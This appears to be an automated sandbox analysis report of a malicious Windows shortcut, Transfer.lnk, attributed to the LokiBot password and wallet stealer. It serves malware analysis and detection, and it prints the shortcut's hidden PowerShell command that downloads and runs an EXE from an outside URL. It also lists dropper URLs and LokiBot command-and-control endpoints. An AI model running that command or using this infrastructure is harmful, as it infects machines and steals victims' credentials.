Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/10/2024, 09:05

General

  • Target
    Transfer.lnk
  • Size 2KB
  • Sample241004-k17ctazcpg
  • SHA256 d74b5f077d1a2910fb058f56768b3c1de6ab0ba537c2796268887601444fdc2d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe

Extracted

Family
  • lokibot

C2
  • http://freighteightonecam.sytes.net/ndifygidj/five/fre.php

  • http://kbfvzoboss.bid/alien/fre.php

  • http://alphastand.trade/alien/fre.php

  • http://alphastand.win/alien/fre.php

  • http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Transfer.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe','Ojtjewi.exe');./'Ojtjewi.exe';(get-item 'Ojtjewi.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4112
      • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
        "C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:3996
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:4208
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:2720

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Ojtjewi.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
        • Size 377KB
        • SHA256 5b82fc5190c0d6644a7eabdf20be1dfdd96d7d8a46d3c329ba2a48b96f7e26e6
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_jlrpolq5.i1g.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlrpolq5.i1g.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
        • Size 46B
        • SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
        • MD5 SHA1 SHA512

        0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
        • Size 46B
        • SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
        • MD5 SHA1 SHA512

        memory/1964-26-0x000000000DBC0000-0x000000000DC28000-memory.dmp

        memory/1964-29-0x000000000DE00000-0x000000000DE92000-memory.dmp

        memory/1964-28-0x000000000E310000-0x000000000E8B4000-memory.dmp

        memory/1964-24-0x0000000000620000-0x0000000000686000-memory.dmp

        memory/1964-25-0x00000000029E0000-0x00000000029E6000-memory.dmp

        memory/1964-27-0x000000000DCC0000-0x000000000DD5C000-memory.dmp

        memory/1964-30-0x0000000004B20000-0x0000000004B26000-memory.dmp

        memory/3996-31-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/3996-35-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/4112-14-0x00007FFB51DC0000-0x00007FFB52881000-memory.dmp

        memory/4112-2-0x00007FFB51DC3000-0x00007FFB51DC5000-memory.dmp

        memory/4112-23-0x00007FFB51DC0000-0x00007FFB52881000-memory.dmp

        memory/4112-13-0x00007FFB51DC0000-0x00007FFB52881000-memory.dmp

        memory/4112-3-0x00000293B14D0000-0x00000293B14F2000-memory.dmp

        memory/4208-65-0x0000000000400000-0x00000000004A2000-memory.dmp

        memory/4208-73-0x0000000000400000-0x00000000004A2000-memory.dmp